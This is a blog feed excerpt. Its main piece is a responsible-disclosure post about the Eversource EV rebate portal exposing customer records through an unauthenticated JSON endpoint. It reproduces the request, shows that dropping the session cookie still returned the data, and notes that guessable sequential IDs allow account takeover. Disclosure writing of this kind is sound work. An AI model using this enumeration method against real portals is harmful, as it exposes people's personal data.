&lt;li>I got a GitHub alert saying that I had some dumb vulnerability through a transitive Node.js library I&amp;rsquo;d never heard of. I thought, &amp;ldquo;I&amp;rsquo;d love to never see these alerts again.&amp;rdquo; So I had AI rewrite the site in Hugo and plain HTML/JS/CSS.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ported PicoShare&amp;rsquo;s CSS framework &lt;a href="https://github.com/mtlynch/picoshare/pull/718">from Bulma to Bootstrap&lt;/a>
&lt;ul>
&lt;li>When I created PicoShare, I wanted to try out Bulma as a CSS framework. It was fine, but I prefer Bootstrap, so I kept using it everywhere else and always had to switch gears when I worked on PicoShare.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Converted LogPaste&amp;rsquo;s e2e tests &lt;a href="https://github.com/mtlynch/logpaste/pull/235">from Cypress to Playwright&lt;/a>
&lt;ul>
&lt;li>I wrote the e2e tests before I discovered Playwright, and now I&amp;rsquo;m so used to Playwright that it&amp;rsquo;s hard to go back to Cypress.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Converted the fusion RSS reader &lt;a href="https://github.com/mtlynch/fusion/pull/3">from Svelte to vanilla HTML + Go templates&lt;/a>
&lt;ul>
&lt;li>This is just a proof of concept, as fusion isn&amp;rsquo;t my project, but I&amp;rsquo;d like to fork it to use my preferred tech stack. AI did a good job converting all the Svelte code to vanilla HTML and Go templates, but I&amp;rsquo;d want to get more test infrastructure in place if I were to port this for real.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Converted the MeshCore web app &lt;a href="https://mtlynch.io/retrospectives/2026/01/#creating-my-first-flutter-app">from Vue.js to Flutter&lt;/a>
&lt;ul>
&lt;li>This actually worked poorly because it&amp;rsquo;s missing the &amp;ldquo;AI can verify the result&amp;rdquo; step. I thought Flutter would emit semantic HTML for its web app output, but it actually generates a wonky Flutter-centric HTML dialect. And the MeshCore app depends heavily on an external hardware device (the LoRa radio), so I had to be in the loop a lot.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="streampreserve">&lt;a href="https://codeberg.org/mtlynch/stream-preserve">StreamPreserve&lt;/a>&lt;/h3>
&lt;p>I&amp;rsquo;ve thought about what I&amp;rsquo;d do in a situation where I was witnessing something I wanted to record on my phone, but there&amp;rsquo;s a possibility of someone stealing my phone and deleting the footage or destroying my phone entirely.&lt;/p>
&lt;p>So, I made StreamPreserve, a web app that quickly moves critical video to a remote, secure server.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/02/stream-preserve.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/02/stream-preserve_hu_26e05e3ec7437e1b.webp 300w, https://mtlynch.io/retrospectives/2026/02/stream-preserve.webp 424w'
 src="https://mtlynch.io/retrospectives/2026/02/stream-preserve.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Stream Preserve captures important video and moves it to a remote server as quickly as possible.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s how it works:&lt;/p>
&lt;ol>
&lt;li>I open the StreamPreserve app and begin recording video.&lt;/li>
&lt;li>The app streams a low-resolution video to the backend server, tuning the stream quality to the available bandwidth.&lt;/li>
&lt;li>The app records high-resolution video to browser storage in discrete chunks.&lt;/li>
&lt;li>With any spare bandwidth, the app uploads high-resolution video chunks to the server while continuing to stream.&lt;/li>
&lt;li>When recording stops, the app saves the high-resolution video as a download on the local device.&lt;/li>
&lt;li>When the app is open and no recording is in progress, it syncs all high-resolution footage from the device to the server.&lt;/li>
&lt;/ol>
&lt;p>So, the idea is if I record something and someone smashes my phone, my StreamPreserve server would still have a low-resolution copy of the video. And if someone seizes my phone to stop me from recording, the web app still uploads the high-resolution footage in the background.&lt;/p>
&lt;p>I lost my enthusiasm for the idea when I realized there are a few flaws:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s a bad solution for recording hours of footage.&lt;/li>
&lt;li>Implementing it as a web app adds complexity and the possibility of losing footage. It should be a native mobile app, but I &lt;a href="https://mtlynch.io/retrospectives/2026/01/#creating-my-first-flutter-app">dislike mobile development&lt;/a>.&lt;/li>
&lt;li>It&amp;rsquo;s not a great task for AI because it depends on using the browser camera API, which is annoying to fake in an AI sandbox.&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>&lt;/li>
&lt;li>Published two new chapters of &lt;em>Refactoring English&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://github.com/podofo/podofo/pull/311">Fixed a crash&lt;/a> in the PoDoFo PDF reader that I discovered using &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">my PDF fuzzing workflow&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Celebrating other software writers helps me find new readers.&lt;/li>
&lt;li>AI agents are significantly more useful when they run in an environment where they have root access and can install applications and search the web.&lt;/li>
&lt;li>AI is good at solving problems when you can define success criteria objectively, and the agent has a way of verifying success and self-correcting through iteration.&lt;/li>
&lt;li>AI is great at porting code from one technology to another.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish two chapters of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Schedule a live event for &lt;em>Refactoring English&lt;/em> readers.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Eversource EV Rebate Program Exposed Massachusetts Customer Data</title><link>https://mtlynch.io/eversource-resource-innovations-exposure/</link><pubDate>Mon, 09 Feb 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/eversource-resource-innovations-exposure/</guid><description>&lt;p>I recently claimed a rebate for installing an electric vehicle (EV) charger, only to discover that Eversource, my power supplier, was publicly exposing personal information of customers who applied, including:&lt;/p>
&lt;ul>
&lt;li>Full names&lt;/li>
&lt;li>Vehicle registration certificates (including plate number and vehicle identification number)&lt;/li>
&lt;li>Home addresses&lt;/li>
&lt;li>Email addresses&lt;/li>
&lt;li>Phone numbers&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll include the backstory that led me to the vulnerability, but if you just want to know about the security vulnerability, you can &lt;a href="#eversource-leaking-customer-records">skip to that&lt;/a>.&lt;/p></description><content:encoded>&lt;p>I recently claimed a rebate for installing an electric vehicle (EV) charger, only to discover that Eversource, my power supplier, was publicly exposing personal information of customers who applied, including:&lt;/p>
&lt;ul>
&lt;li>Full names&lt;/li>
&lt;li>Vehicle registration certificates (including plate number and vehicle identification number)&lt;/li>
&lt;li>Home addresses&lt;/li>
&lt;li>Email addresses&lt;/li>
&lt;li>Phone numbers&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll include the backstory that led me to the vulnerability, but if you just want to know about the security vulnerability, you can &lt;a href="#eversource-leaking-customer-records">skip to that&lt;/a>.&lt;/p>
&lt;h2 id="why-is-this-rebate-process-so-complicated">Why is this rebate process so complicated?&lt;/h2>
&lt;p>I live in Massachusetts, and the state government offers a program called &lt;a href="https://www.masssave.com/">Mass Save&lt;/a>, where you pay a tax on your energy bill, and the money funds sustainable energy initiatives. For example, if you insulate your home for better energy efficiency, Mass Save will subsidize the cost.&lt;/p>
&lt;p>I recently installed a charger for my electric vehicle (EV) and discovered that Mass Save reimburses &lt;a href="https://www.eversource.com/residential/save-money-energy/clean-energy-options/electric-vehicles/charging-stations">$700 of my installation costs&lt;/a>. Great!&lt;/p>
&lt;p>Eversource is my electric company, so I had to claim the rebate through them. I went online to claim my rebate, expecting it to be a 10-minute process, but it took me over an hour to fill out the endless forms.&lt;/p>
&lt;p>First, they wanted to know my name, address, and Eversource account number. This is redundant, as Eversource already has this information about me, but fine.&lt;/p>
&lt;p>As I progressed through the form, they started asking me even more irrelevant questions like:&lt;/p>
&lt;ul>
&lt;li>What kind of electric vehicle do I own?&lt;/li>
&lt;li>Where did I buy it?&lt;/li>
&lt;li>How much did I pay?&lt;/li>
&lt;li>Where&amp;rsquo;s my vehicle registration?&lt;/li>
&lt;li>Who installed my EV charger?&lt;/li>
&lt;li>What is my electrician&amp;rsquo;s address?&lt;/li>
&lt;li>Where, exactly, on my house is the charger?&lt;/li>
&lt;/ul>
&lt;p>Why do you need any of this to confirm I bought an EV charger? The process was far more complicated than what Eversource advertises as their &lt;a href="https://www.eversource.com/residential/save-money-energy/clean-energy-options/electric-vehicles/charging-stations/ev-rebate-process">&amp;ldquo;four-step rebate process.&amp;rdquo;&lt;/a>&lt;/p>
&lt;h2 id="we-need-your-chargers-mac-address">We need your charger&amp;rsquo;s MAC address&lt;/h2>
&lt;p>The most absurd information Eversource requested as part of the rebate was the &lt;em>MAC address&lt;/em> of my EV charger. What?&lt;/p>
&lt;p>The MAC address is the unique identifier for the WiFi chip on the EV charger. It&amp;rsquo;s not printed on the device, so how was I supposed to get it?&lt;/p>
&lt;p>I&amp;rsquo;m a software developer and &lt;a href="https://mtlynch.io/building-first-homelab-rack/">home networking nerd&lt;/a>, so I was able to find my EV charger&amp;rsquo;s MAC address in my router&amp;rsquo;s admin dashboard, but I don&amp;rsquo;t know how they expect the average person to do that.&lt;/p>
&lt;h2 id="no-thats-wrong-do-it-again">No, that&amp;rsquo;s wrong. Do it again&lt;/h2>
&lt;p>A week after submitting all of my documents, I got this email from Eversource:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/eversource-resource-innovations-exposure/rejection-email.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/eversource-resource-innovations-exposure/rejection-email_hu_28383360c252f294.webp 300w, https://mtlynch.io/eversource-resource-innovations-exposure/rejection-email_hu_2cfe0642010fb05c.webp 600w, https://mtlynch.io/eversource-resource-innovations-exposure/rejection-email.webp 776w'
 src="https://mtlynch.io/eversource-resource-innovations-exposure/rejection-email.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Eversource claims the photos and documents I uploaded with my application are incorrect.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Apparently, I filled out the application incorrectly.&lt;/p>
&lt;p>Eversource didn&amp;rsquo;t like the invoices I uploaded from my electrician because they weren&amp;rsquo;t marked &amp;ldquo;Paid in full.&amp;rdquo; It&amp;rsquo;s rare for any contractor to give me a &amp;ldquo;paid in full&amp;rdquo; invoice after payment, so I had to go pester my busy electrician to generate new invoices.&lt;/p>
&lt;p>Did I miss that requirement in the form? Nope, I went back to the portal and looked at what they say about the invoice. All they said was, &amp;ldquo;Contractor&amp;rsquo;s invoice for wiring upgrade.&amp;rdquo; No mention of &amp;ldquo;Paid in full.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice_hu_45c882571772ef67.webp 300w, https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice_hu_c543fdedadc407c8.webp 600w, https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice_hu_390be4181d943e62.webp 800w, https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice_hu_ffb4a03f80adf06d.webp 1200w, https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice.webp 1528w'
 src="https://mtlynch.io/eversource-resource-innovations-exposure/just-invoice.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The rebate form never mentions needing an invoice to be marked as paid in full.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>And what was wrong with my photos? Did I forget to upload the photo of my charger?&lt;/p>
&lt;p>No, the photo was there in my application. The charger was clear as day. The photo of the serial number was also plainly legible. Did they think I could photograph a MAC address?&lt;/p>
&lt;p>I emailed them asking what was wrong with the photos, explaining that it was impossible for me to photograph a MAC address.&lt;/p>
&lt;p>I got a response a week later. They didn&amp;rsquo;t explain why they&amp;rsquo;d rejected my other photos, but they told me to find the MAC address in my EV charger&amp;rsquo;s mobile app and take a screenshot of that. Okay&amp;hellip;&lt;/p>
&lt;h2 id="the-perverse-incentives-of-eversources-ev-rebate-program">The perverse incentives of Eversource&amp;rsquo;s EV rebate program&lt;/h2>
&lt;p>Something felt fishy about Eversource&amp;rsquo;s rebate program. Every step seemed designed to burden me with needless paperwork and subtle gotchas.&lt;/p>
&lt;p>Is there something rotten in the state of Massachusetts? Does Eversource get to keep the money that doesn&amp;rsquo;t get distributed in rebates?&lt;/p>
&lt;p>I called the Massachusetts Department of Utilities (DPU), who oversees the EV rebate program and asked what was going on. Why was Eversource making it so hard to claim a rebate?&lt;/p>
&lt;p>The employee at the DPU said she&amp;rsquo;d heard complaints of Eversource rejecting photos and then accepting the exact same photos on appeal. It sounded as if Eversource was using an automated system to evaluate photos, but the secondary review was either more accurate or, more likely, a human actually looking at the photo.&lt;/p>
&lt;p>So, does Eversource just pocket the rebate in those cases? &amp;ldquo;No,&amp;rdquo; the DPU rep said. Eversource doesn&amp;rsquo;t keep any money if the rebate application fails. And even on successful claims, Eversource just pays the rebate and requests reimbursement from the state.&lt;/p>
&lt;p>Wait, if Eversource is just passing through the money, why are they running this program at all?&lt;/p>
&lt;p>The rep at the DPU explained that Eversource wants people to buy EVs. If MA residents have EVs, they&amp;rsquo;re shifting their spending from gasoline, which Eversource doesn&amp;rsquo;t sell, to electricity, which Eversource has exclusive access to sell in many cities.&lt;/p>
&lt;p>And then it started to make sense: Eversource doesn&amp;rsquo;t want customer rebate claims to fail; they just don&amp;rsquo;t care about them at all.&lt;/p>
&lt;p>By the time a customer requests a rebate from Eversource, the customer has already purchased an EV. The customer is now locked in to buy extra electricity from Eversource for the next several years. At that point, Eversource has everything they want from the customer, and the customer has no leverage to get Eversource to honor their end of the deal.&lt;/p>
&lt;p>I asked the Massachusetts DPU rep if they keep metrics on how many people apply for EV charging rebate vs. the number who actually complete it. Eversource only tells the DPU how many people complete the process. Eversource could be rejecting 99% of rebate applicants, and the DPU would never know.&lt;/p>
&lt;h2 id="eversource-leaking-customer-records">Eversource leaking customer records&lt;/h2>
&lt;p>When I returned to the Eversource rebate portal to submit the information they requested, I wondered: if Eversource minimized their investment into every part of the EV rebate process, did they invest anything into security?&lt;/p>
&lt;p>Unfortunately, the answer was no. It took me less than two minutes to spot a serious security vulnerability on the Eversource rebate portal.&lt;/p>
&lt;p>As a basic check on the site&amp;rsquo;s security, I opened up the networking console of my web browser to inspect the raw communication between my browser and the rebate portal. My browser made dozens of requests to the rebate server, but one in particular caught my eye.&lt;/p>
&lt;p>A request to the URL &lt;code>https://eversource.dsmcentral.com/traksmart4/public/guest/commercial/v2/application.json?projectId=123456&lt;/code> returned a huge amount of data that looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>[
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;fieldId&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;FORM-60-102189-108632-4094090-2-Task_Instances_Attributes-2354-CustomerPrintedName&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;label&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Rebate Payee Printed Name&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;value&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;Michael Lynch&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;displayValue&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;templateParameters&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;attributeName&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;CustomerPrintedName&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;uniqueFieldIdSource&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;inventoryOptions&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;dynamicOptions&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;rendering&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;textField&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">&amp;#34;formatter&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;None&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a61717;background-color:#e3d2d2">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The response was thousands of lines long. It looked like all of the data I submitted in my rebate application, minus the photos and documents I uploaded.&lt;/p>
&lt;p>To get that information, my browser sent an HTTP request that looked like this (I&amp;rsquo;ve replaced my actual application ID with &lt;code>123456&lt;/code>):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>POST /traksmart4/public/guest/commercial/v2/application.json?projectId=123456 HTTP/1.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host: eversource.dsmcentral.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Cookie: JSESSIONID=node0f7ynpnyr35zk1c91byqpx2x5n97179.node0;Path=/traksmart4;Secure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: application/json
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 27
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{&amp;#34;programId&amp;#34;:8,&amp;#34;formId&amp;#34;:60}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The thing that caught my eye was that the URL path contained the words &lt;code>public&lt;/code> and &lt;code>guest&lt;/code>, which typically appear in URLs that don&amp;rsquo;t require a login.&lt;/p>
&lt;p>The request from my browser was authenticated. The &lt;code>Cookie&lt;/code> line was telling the server my login ID. But was the server even checking my login status?&lt;/p>
&lt;p>To test whether the rebate portal server was checking logins, I made the exact same request but removed the &lt;code>Cookie&lt;/code> line. The rebate portal still returned all my private data. Uh oh. Eversource wasn&amp;rsquo;t checking logins.&lt;/p>
&lt;p>My application ID is only six numeric digits, meaning less than 1 million possibilities. And I bet they&amp;rsquo;re sequential, so anyone who visits the rebate portal can guess my project ID and see all of the information I submitted, including my name, phone number, mailing address, and vehicle identification number (VIN).&lt;/p>
&lt;h2 id="what-if-a-malicious-user-changes-my-application">What if a malicious user changes my application?&lt;/h2>
&lt;p>It&amp;rsquo;s bad enough that the Eversource rebate portal leaks my personal information, but it gets worse. Here&amp;rsquo;s what the login form looks like to access my application:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/eversource-resource-innovations-exposure/login.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/eversource-resource-innovations-exposure/login_hu_8ceb09bc3a3490a5.webp 300w, https://mtlynch.io/eversource-resource-innovations-exposure/login_hu_4e90ccea1b03f125.webp 600w, https://mtlynch.io/eversource-resource-innovations-exposure/login.webp 748w'
 src="https://mtlynch.io/eversource-resource-innovations-exposure/login.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Eversource rebate portal allows me to log in with just my email address, zip code, and a six-digit application number.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The insecure URL that dumps all of my data includes all of those fields. A malicious user can grab my application number, email address and zip code from the vulnerable URL and then log in to the rebate portal as me. They could access all of my information, including the photos or documents I uploaded.&lt;/p>
&lt;p>Worse, a malicious user can &lt;em>change&lt;/em> information in my rebate application, such as sending my rebate check to a different mailing address.&lt;/p>
&lt;h2 id="reporting-the-vulnerability">Reporting the vulnerability&lt;/h2>
&lt;p>The company that manages Eversource&amp;rsquo;s rebate portal is called &lt;a href="https://www.resource-innovations.com/">Resource Innovations&lt;/a>, and it looks like they run similar programs for &lt;a href="https://kagi.com/search?q=site%3Adsmcentral.com%2Ftraksmart4&amp;amp;r=us&amp;amp;sh=f00VrZjIgxNXTRgLgLxsSA">a bunch of electric utilities in other cities&lt;/a>.&lt;/p>
&lt;p>I emailed Resource Innovations&amp;rsquo; privacy@ email, explaining that I had found a serious vulnerability and wanted to connect with their security team to share details. I couldn&amp;rsquo;t find a publicly listed security mailbox at Eversource, so I emailed Christopher Leigh, Eversource&amp;rsquo;s Chief Information Security Officer.&lt;/p>
&lt;p>I got a response the next day from Desiree Robinson, a VP of Information Security at Resource Innovations. She offered to meet me immediately on a video call to review the vulnerability, but the issue was so simple that we didn&amp;rsquo;t even need a call. I just emailed her an example of the HTTP request that worked without authentication. She responded the following day to say they&amp;rsquo;d fixed the issue, and I confirmed I could no longer access the vulnerable URL without a valid login token.&lt;/p>
&lt;p>Christopher Leigh, Eversource&amp;rsquo;s CISO, never got back to me, but I did hear back from Karla Pickett from Eversource&amp;rsquo;s &amp;ldquo;Executive Inquiry office.&amp;rdquo; She said the vendor was &amp;ldquo;currently working to resolve this issue.&amp;rdquo;&lt;/p>
&lt;p>I asked both Karla Pickett and Desiree Robinson if they could share more details about what protections they put in place to better protect customers in the future. I also asked if they offered &lt;a href="https://en.wikipedia.org/wiki/Bug_bounty_program">bug bounties&lt;/a> for people who offer them coordinated disclosure of security issues. Neither of them responded to my follow-up questions.&lt;/p>
&lt;p>As I was preparing screenshots for this blog post, I noticed another URL on the same UI flow was also exposing customer data without checking authentication. This time, it &lt;em>only&lt;/em> exposed my full name, home address, and application number. I reached out to Desiree Robinson again to report it. She responded seven minutes later to say she was investigating. I tried the URL the next day and saw that it was correctly checking authentication.&lt;/p>
&lt;p>There&amp;rsquo;s a lot to complain about here in terms of Eversource and Resource Innovations&amp;rsquo; engineering and security, but I will give them credit for one thing: they were extremely responsive. Except when I asked about compensation.&lt;/p>
&lt;h3 id="reporting-timeline">Reporting timeline&lt;/h3>
&lt;ul>
&lt;li>2025-01-27 - I report to Eversource, Resource Innovations, and the Massachusetts Department of Public Utilities that I found a vulnerability I&amp;rsquo;d like to report.&lt;/li>
&lt;li>2025-01-28 - Resource Innovations responds asking for details.&lt;/li>
&lt;li>2025-01-28 - I share details of the vulnerability with Resource Innovations.&lt;/li>
&lt;li>2025-01-29 - Resource Innovations reports that they have remediated the issue.&lt;/li>
&lt;li>2025-02-05 - I report the same issue on another rebate portal URL to Resource Innovations.&lt;/li>
&lt;li>2025-02-05 - Resource Innovations reports that they will begin work to remediate the issue.&lt;/li>
&lt;li>2025-02-06 - I test the vulnerable URL again and see that it is now correctly enforcing authentication.&lt;/li>
&lt;/ul>
&lt;h2 id="what-massachusetts-residents-can-do">What Massachusetts residents can do&lt;/h2>
&lt;p>As it happens, Eversource is in the process of &lt;a href="https://eeaonline.eea.state.ma.us/dpu/fileroom/#/dockets/docket/12810">requesting taxpayer money to fund a new EV rebate program&lt;/a>.&lt;/p>
&lt;p>Massachusetts residents may submit comments to the state about Eversource&amp;rsquo;s proposal. According to the DPU, comments from MA residents carry weight in these filings, so if you care about EV programs, I encourage you to &lt;a href="https://fileservice.eea.comacloud.net/V3.1.0/FileService.Api/file/aeiceiice?cwx+darBxD+W5AUrurWiy2+/gw0Qt7CkXyVPBodK3Q+PcSxI+blU344Khxm+qpOeg0hKFj9M9l/xQR8+/8GqPvdGgrFe6XR6ngIfa80wd3rxFD8G4j981M2Rna9aVTXA">submit a public comment&lt;/a> by February 18, 2026 (see &amp;ldquo;Any person interested in commenting on this matter&amp;hellip;&amp;rdquo;).&lt;/p>
&lt;p>There will also be a public hearing on Zoom about Eversource&amp;rsquo;s proposal this Wednesday (February 11).&lt;/p>
&lt;h3 id="my-wish-list-for-the-ev-rebate-program">My wish list for the EV rebate program&lt;/h3>
&lt;p>For context: Eversource is not a neighborhood mom and pop electric company. They&amp;rsquo;re a Fortune 500 company, reporting $1.3 billion in profit in the last 12 months.&lt;/p>
&lt;p>Based on my experience with Eversource&amp;rsquo;s current EV rebate program, they use public funds from Massachusetts residents and then shift as much work as possible onto those same residents.&lt;/p>
&lt;p>The EV rebate application should be a 5-10 minute process where I submit a proof of purchase and wait for my check in the mail. Instead, it&amp;rsquo;s taken me several hours over two months, and I still don&amp;rsquo;t know if Eversource will approve my application. The vast majority of my work has been collecting documents and details that feel totally irrelevant to the program&amp;rsquo;s purpose.&lt;/p>
&lt;p>The fundamental problem is that what gets measured gets managed, but nobody is measuring the time Massachusetts residents spend dealing with Eversource&amp;rsquo;s rebate program. As a result, Eversource minimizes their investment into the program, wasting residents&amp;rsquo; time and exposing their personal information.&lt;/p>
&lt;p>Here is what I&amp;rsquo;d like to see in Eversource&amp;rsquo;s new EV rebate program:&lt;/p>
&lt;ul>
&lt;li>Eversource cannot require customers to create new online accounts as a requirement of the rebate.
&lt;ul>
&lt;li>The rebate form must be available through the standard Eversource customer portal.&lt;/li>
&lt;li>A third-party vendor may administer the rebate portal, but the vendor must implement a secure &lt;a href="https://en.wikipedia.org/wiki/Single_sign-on">single sign-on (SSO)&lt;/a> flow so that customers don&amp;rsquo;t need new accounts.&lt;/li>
&lt;li>Eversource must pre-populate the rebate form with information they already have about the customer, such as their name, address, and account number.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>For homeowners who claim an EV charging rebate for their primary residence, the only required documentation should be (1) the make, model, and serial number of the charger, and (2) a receipt or invoice for the charger and electrical work.
&lt;ul>
&lt;li>The invoice does not need to be marked as paid.&lt;/li>
&lt;li>The resident should not need to prove ownership of an EV, as it makes no sense to install an EV charger at a loss just to get a partial rebate.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Eversource must hire, at their own expense, a Massachusetts-based web security firm to conduct an annual security audit of the rebate portal.
&lt;ul>
&lt;li>Eversource must provide these audit results to the MA DPU and fix any issues rated High or Critical within six weeks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Eversource must publish the following metrics quarterly:
&lt;ul>
&lt;li>The number of customers that begin the rebate application,&lt;/li>
&lt;li>The number of customers that receive one or more claim rejections (regardless of eventual outcome),&lt;/li>
&lt;li>The number of customers who successfully claim their rebate and receive payment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Throughout the application process, Eversource must display the contact information for the specific Massachusetts DPU office that oversees the EV rebate program.
&lt;ul>
&lt;li>The contact information must be conspicuously displayed in rebate claim denials, allowing residents to appeal an incorrect rejection.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The MA DPU must have the ability to audit EV charger rebate applications.&lt;/li>
&lt;li>If Eversource rejects an application and the DPU determines it was an invalid rejection, Eversource must pay the customer 150% of the requested rebate amount.
&lt;ul>
&lt;li>DPU must not reimburse Eversource for claims that involved an invalid rejection, even if they were later approved.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Note: I&amp;rsquo;ve elided and changed unique identifiers in the HTTP requests shown to avoid leaking data about my own account.&lt;/em>&lt;/p></content:encoded></item><item><title>My Eighth Year as a Bootstrapped Founder</title><link>https://mtlynch.io/bootstrapped-founder-year-8/</link><pubDate>Tue, 03 Feb 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-8/</guid><description>&lt;p>Eight years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own bootstrapped software company. Every year, I &lt;a href="https://mtlynch.io/tags/annual-review/">post an update&lt;/a> about how that&amp;rsquo;s going and what my life is like as an indie founder.&lt;/p>
